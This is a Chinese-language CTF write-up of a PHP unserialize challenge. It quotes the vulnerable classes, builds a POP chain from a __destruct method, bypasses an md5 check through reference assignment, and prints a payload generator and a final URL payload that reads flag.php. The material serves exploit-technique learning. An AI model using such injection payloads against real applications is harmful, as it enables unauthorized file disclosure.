題目
php反序列化，pop構(gòu)造，常規(guī)題
過(guò)程
1.index.php頁(yè)面右鍵查看源碼，感覺(jué)要用php偽協(xié)議去讀try.php

圖片.png

圖片.png

<?php
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}

class Flag{
    public $f;
    public $t1;
    public $t2;

    function __construct($file){
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        }
    }
}

3.尋找pop鏈
Seri類中的魔法函數(shù)__destruct()使用getFlag()方法，F(xiàn)lag類中的getFlag()定義該方法。
構(gòu)造一個(gè)Flag類型的變量，傳入的參數(shù)為flag.php。$Flag=new Flag('flag.php');
構(gòu)造一個(gè)Seri類型的變量，傳入的參賽為$Flag，這樣銷(xiāo)毀$Flag的時(shí)候，就會(huì)調(diào)用__destruct()。$test=new Seri($Flag)
在getFlag()方法中還有一個(gè)md5判斷，要使t1，t2值相等才可，其實(shí)不用。直接使用php的引用賦值即可。

a=1;
b=&a;
a=a+1;

那末最后b得值也會(huì)變?yōu)?，因?yàn)閎是引用賦值。所以最終$Flag->t1 = &$Flag->t2;
最終payload

<?php
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}

class Flag{
    public $f;
    public $t1;
    public $t2;

    function __construct($file){
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        }
    }
}
$Flag=new Flag('flag.php');
$Flag->t1 = &$Flag->t2;
$test = new Seri($Flag);
echo urlencode(serialize($test));
?>

圖片.png

O%3A4%3A%22Seri%22%3A1%3A%7Bs%3A5%3A%22alize%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A1%3A%22f%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A2%3A%22t1%22%3Bs%3A32%3A%224a2ddf148c5a9c42151a529e8cbdcc06%22%3Bs%3A2%3A%22t2%22%3BR%3A4%3B%7D%7D0a49e3c3a03ebde64f85c0bacd8a08e20a49e3c3a03ebde64f85c0bacd8a08e2
4.只是這樣還不行，觀察index.php，反序列化后傳給p。
最終payload：

url/?file=try.php&p=O%3A4%3A"Seri"%3A1%3A{s%3A5%3A"alize"%3BO%3A4%3A"Flag"%3A3%3A{s%3A1%3A"f"%3Bs%3A8%3A"flag.php"%3Bs%3A2%3A"t1"%3Bs%3A32%3A"8e98d81f8217304975ccb23337bb5761"%3Bs%3A2%3A"t2"%3BR%3A4%3B}}6e17a5fd135fcaf4b49f2860c2474c7c6e17a5fd135fcaf4b49f2860c2474c7c